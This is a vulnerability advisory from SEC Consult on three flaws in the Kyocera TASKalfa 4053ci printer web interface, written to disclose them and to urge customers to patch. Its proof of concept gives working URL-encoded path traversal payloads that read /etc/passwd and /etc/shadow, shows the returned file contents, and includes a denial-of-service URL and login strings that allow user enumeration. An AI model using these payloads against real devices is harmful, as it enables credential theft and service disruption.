Vendor description
"Kyocera Document Solutions is leading the digital shift driving productivity and growth in the printing industry. We offer a range of exciting new options that draw on the combined resources of the Kyocera Group."
Source: https://www.kyoceradocumentsolutions.com/en/our-business/inkjet/
Business recommendation
SEC Consult recommends Kyocera customers to install the latest updates.
Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues.
Vulnerability overview/description
1) Path Traversal - Bypass (CVE-2023-34259)
A path traversal vulnerability was found by Hakan Eren ŞAN in 2020-06-06. The previous exploit can be found at: https://www.exploit-db.com/exploits/48561
Kyocera has fixed the vulnerability. It was not possible to access arbitrary files using the public exploit. However, SEC Consult have found a bypass to exploit this vulnerability again and access arbitrary files. Due to the fact that the web service is running as the user root, it was possible to access all files (e.g. /etc/shadow) on the device.
2) Denial-of-Service - Web Interface (CVE-2023-34260)
The denial-of-service vulnerability is related to the path traversal vulnerability. Instead of requesting a file, a directory will be requested. Once the request is sent to the web service running on TCP port 443, the web service will become unresponsive and must be restarted.
3) User Enumeration (CVE-2023-34261)
The login function on the web service running on TCP port 443 is prone to a user enumeration vulnerability. The login function will return different responses, whether the username is valid or not.
Proof of concept
1) Path Traversal - Bypass (CVE-2023-34259)
Previously, a security researcher has discovered an unauthenticated directory traversal vulnerability in the web service running on port 443. The following payload was used to access arbitrary files:
https:// IP/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
This vulnerability is fixed in the current version. It was not possible to access arbitrary files using the above payload. However, the vulnerability was not fixed correctly. SEC Consult identified a bypass to exploit this vulnerability again.
Once the ../ sequences will be URL encoded, it is possible to bypass the fix and access arbitrary files. The following payload can be used to access the file /etc/passwd:
https:// IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm
The response containing the contents of the file /etc/passwd can be seen in the following paragraph.
HTTP/1.1 200 OK
Content-Length: 770
Accept-Encoding: identity
Server: KM-MFP-http/V0.0.1
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
sshd:x:100:1000:Linux User,,,:/var/run/sshd:/bin/false
Also, it was possible to access the file /etc/shadow. The following payload can be used:
https:// IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/shadow%00index.htm
The output containing the content of the file /etc/shadow as it can be seen in the following paragraph.
HTTP/1.1 200 OK
Content-Length: 401
Accept-Encoding: identity
Server: KM-MFP-http/V0.0.1
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
root:$1$tfE2pkl/$O8uDq*************bSH.:11029::::::
daemon:*:11029::::::
bin:*:11029::::::
sys:*:11029::::::
sync:*:11029::::::
games:*:11029::::::
man:*:11029::::::
lp:*:11029::::::
mail:*:11029::::::
news:*:11029::::::
uucp:*:11029::::::
proxy:*:11029::::::
www-data:*:11029::::::
backup:*:11029::::::
list:*:11029::::::
irc:*:11029::::::
gnats:*:11029::::::
nobody:*:11029::::::
sshd:x:11029::::::
As the web service is running as the user root it was possible to access the /etc/shadow file or the file has set the wrong permissions. Based on previous security assessments of Kyocera printers, it is likely that the service is running as the user root.
2) Denial-of-Service - Web Interface (CVE-2023-34260)
To trigger the DoS attack it is sufficient to navigate to the URL:
https:// IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%00index.htm
Once the request is sent to the web service, the web service will become unresponsive.
This attack is related to the path traversal vulnerability. The difference is that in this case a folder is requested instead of a file. Apparently, this leads to an error condition in the web server causing it to be unresponsive for all users. Other applications offering a web interface (e.g., on port 8083) seem to not be affected by the attack.
3) User Enumeration (CVE-2023-34261)
The user enumeration is located in the login functionality of the web interface. Submitting an existing username will result in a different server response than submitting an incorrect username. This enables attackers to enumerate existing users by submitting potential usernames till a different response is gathered. In this case, it does not matter whether the transmitted password is correct or not. The gathered information could be used to better search for default passwords or custom passwords inside of public password leaks.
In case, the username does not exist, the response will return "Login-Benutzername oder Passwort falsch.", on the other hand, if the username exists the response contains "Sie können sich nicht einloggen."
Vulnerable / tested versions
The following product has been tested:
- Kyocera TASKalfa 4053ci
All versions older than "2VG_S000.002.561" are vulnerable according to the vendor.